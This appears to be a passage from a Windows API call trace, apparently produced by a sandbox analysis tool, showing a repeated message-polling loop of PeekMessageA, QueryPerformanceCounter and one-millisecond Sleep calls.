	[0098.280] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19227345475) returned 1
	[0098.280] Sleep (dwMilliseconds=0x1) 
	[0098.282] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.282] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19227546615) returned 1
	[0098.282] Sleep (dwMilliseconds=0x1) 
	[0098.284] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.284] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19227774091) returned 1
	[0098.284] Sleep (dwMilliseconds=0x1) 
	[0098.286] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.286] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19227946471) returned 1
	[0098.286] Sleep (dwMilliseconds=0x1) 
	[0098.288] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.288] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19228148324) returned 1
	[0098.288] Sleep (dwMilliseconds=0x1) 
	[0098.290] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.290] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19228347472) returned 1
	[0098.290] Sleep (dwMilliseconds=0x1) 
	[0098.292] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.292] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19228546179) returned 1
	[0098.292] Sleep (dwMilliseconds=0x1) 
	[0098.294] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.294] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19228745398) returned 1
	[0098.294] Sleep (dwMilliseconds=0x1) 
	[0098.296] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.296] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19228945563) returned 1
	[0098.296] Sleep (dwMilliseconds=0x1) 
	[0098.308] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.308] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19230164743) returned 1
	[0098.308] Sleep (dwMilliseconds=0x1) 
	[0098.310] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.310] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19230345781) returned 1
	[0098.310] Sleep (dwMilliseconds=0x1) 
	[0098.312] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.312] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19230546452) returned 1
	[0098.312] Sleep (dwMilliseconds=0x1) 
	[0098.314] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.314] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19230746517) returned 1
	[0098.314] Sleep (dwMilliseconds=0x1) 
	[0098.316] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.316] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19230946549) returned 1
	[0098.316] Sleep (dwMilliseconds=0x1) 
	[0098.318] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.318] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19231154835) returned 1
	[0098.318] Sleep (dwMilliseconds=0x1) 
	[0098.320] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.320] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19231345918) returned 1
	[0098.320] Sleep (dwMilliseconds=0x1) 
	[0098.322] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.322] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19231547458) returned 1
	[0098.322] Sleep (dwMilliseconds=0x1) 
	[0098.324] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.324] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19231753195) returned 1
	[0098.324] Sleep (dwMilliseconds=0x1) 
	[0098.326] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.326] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19231946468) returned 1
	[0098.326] Sleep (dwMilliseconds=0x1) 
	[0098.328] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.328] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19232159898) returned 1
	[0098.328] Sleep (dwMilliseconds=0x1) 
	[0098.330] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.330] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19232345560) returned 1
	[0098.330] Sleep (dwMilliseconds=0x1) 
	[0098.332] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.332] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19232544793) returned 1
	[0098.332] Sleep (dwMilliseconds=0x1) 
	[0098.335] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.335] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19232863442) returned 1
	[0098.335] Sleep (dwMilliseconds=0x1) 
	[0098.337] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.337] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19233046375) returned 1
	[0098.337] Sleep (dwMilliseconds=0x1) 
	[0098.339] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.339] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19233245972) returned 1
	[0098.339] Sleep (dwMilliseconds=0x1) 
	[0098.341] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.341] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19233444804) returned 1
	[0098.341] Sleep (dwMilliseconds=0x1) 
	[0098.343] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.343] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19233653842) returned 1
	[0098.343] Sleep (dwMilliseconds=0x1) 
	[0098.345] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.345] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19233850489) returned 1
	[0098.345] Sleep (dwMilliseconds=0x1) 
	[0098.347] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.347] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19234048375) returned 1
	[0098.347] Sleep (dwMilliseconds=0x1) 
	[0098.349] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.349] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19234263507) returned 1
	[0098.349] Sleep (dwMilliseconds=0x1) 
	[0098.351] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.351] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19234445089) returned 1
	[0098.351] Sleep (dwMilliseconds=0x1) 
	[0098.353] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.353] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19234644810) returned 1
	[0098.353] Sleep (dwMilliseconds=0x1) 
	[0098.355] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.355] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19234845241) returned 1
	[0098.355] Sleep (dwMilliseconds=0x1) 
	[0098.357] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.357] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19235050307) returned 1
	[0098.357] Sleep (dwMilliseconds=0x1) 
	[0098.359] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.359] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19235246431) returned 1
	[0098.359] Sleep (dwMilliseconds=0x1) 
	[0098.361] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.361] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19235465497) returned 1
	[0098.361] Sleep (dwMilliseconds=0x1) 
	[0098.363] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.363] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19235646845) returned 1
	[0098.363] Sleep (dwMilliseconds=0x1) 
	[0098.365] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.365] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19235845557) returned 1
	[0098.365] Sleep (dwMilliseconds=0x1) 
	[0098.367] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.367] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19236047855) returned 1
	[0098.367] Sleep (dwMilliseconds=0x1) 
	[0098.369] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.369] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19236246107) returned 1
	[0098.369] Sleep (dwMilliseconds=0x1) 
	[0098.371] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.371] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19236479873) returned 1
	[0098.371] Sleep (dwMilliseconds=0x1) 
	[0098.373] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.373] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19236644988) returned 1
	[0098.373] Sleep (dwMilliseconds=0x1) 
	[0098.375] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.375] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19236864082) returned 1
	[0098.375] Sleep (dwMilliseconds=0x1) 
	[0098.377] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.377] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19237050031) returned 1
	[0098.377] Sleep (dwMilliseconds=0x1) 
	[0098.379] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.379] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19237246885) returned 1
	[0098.379] Sleep (dwMilliseconds=0x1) 
	[0098.381] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.381] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19237459288) returned 1
	[0098.381] Sleep (dwMilliseconds=0x1) 
	[0098.383] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.383] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19237651887) returned 1
	[0098.383] Sleep (dwMilliseconds=0x1) 
	[0098.385] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.385] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19237845033) returned 1
	[0098.385] Sleep (dwMilliseconds=0x1) 
	[0098.387] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.387] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19238066947) returned 1
	[0098.387] Sleep (dwMilliseconds=0x1) 
	[0098.389] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.389] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19238250451) returned 1
	[0098.389] Sleep (dwMilliseconds=0x1) 
	[0098.391] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.391] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19238445353) returned 1
	[0098.391] Sleep (dwMilliseconds=0x1) 
	[0098.393] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.393] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19238644795) returned 1
	[0098.393] Sleep (dwMilliseconds=0x1) 
	[0098.395] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.395] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19238844810) returned 1
	[0098.395] Sleep (dwMilliseconds=0x1) 
	[0098.397] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.397] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19239046267) returned 1
	[0098.397] Sleep (dwMilliseconds=0x1) 
	[0098.399] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.399] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19239245969) returned 1
	[0098.399] Sleep (dwMilliseconds=0x1) 
	[0098.401] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.401] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19239446542) returned 1
	[0098.401] Sleep (dwMilliseconds=0x1) 
	[0098.403] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.403] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19239659343) returned 1
	[0098.403] Sleep (dwMilliseconds=0x1) 
	[0098.405] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.405] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19239850360) returned 1
	[0098.405] Sleep (dwMilliseconds=0x1) 
	[0098.407] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.407] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19240045681) returned 1
	[0098.407] Sleep (dwMilliseconds=0x1) 
	[0098.409] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.409] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19240246593) returned 1
	[0098.409] Sleep (dwMilliseconds=0x1) 
	[0098.411] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.411] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19240445087) returned 1
	[0098.411] Sleep (dwMilliseconds=0x1) 
	[0098.413] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.413] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19240644960) returned 1
	[0098.413] Sleep (dwMilliseconds=0x1) 
	[0098.415] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.415] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19240844854) returned 1
	[0098.415] Sleep (dwMilliseconds=0x1) 
	[0098.417] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.417] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19241046017) returned 1
	[0098.417] Sleep (dwMilliseconds=0x1) 
	[0098.419] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.419] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19241245101) returned 1
	[0098.419] Sleep (dwMilliseconds=0x1) 
	[0098.421] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.421] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19241465449) returned 1
	[0098.421] Sleep (dwMilliseconds=0x1) 
	[0098.423] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.423] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19241645834) returned 1
	[0098.423] Sleep (dwMilliseconds=0x1) 
	[0098.425] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.425] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19241847213) returned 1
	[0098.425] Sleep (dwMilliseconds=0x1) 
	[0098.427] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.427] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19242046486) returned 1
	[0098.427] Sleep (dwMilliseconds=0x1) 
	[0098.429] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.429] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19242246610) returned 1
	[0098.429] Sleep (dwMilliseconds=0x1) 
	[0098.431] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.431] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19242445106) returned 1
	[0098.431] Sleep (dwMilliseconds=0x1) 
	[0098.433] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.433] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19242645745) returned 1
	[0098.433] Sleep (dwMilliseconds=0x1) 
	[0098.435] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.435] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19242844983) returned 1
	[0098.435] Sleep (dwMilliseconds=0x1) 
	[0098.437] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.437] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19243044710) returned 1
	[0098.437] Sleep (dwMilliseconds=0x1) 
	[0098.440] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.440] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19243368654) returned 1
	[0098.440] Sleep (dwMilliseconds=0x1) 
	[0098.442] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.442] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19243544728) returned 1
	[0098.442] Sleep (dwMilliseconds=0x1) 
	[0098.444] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
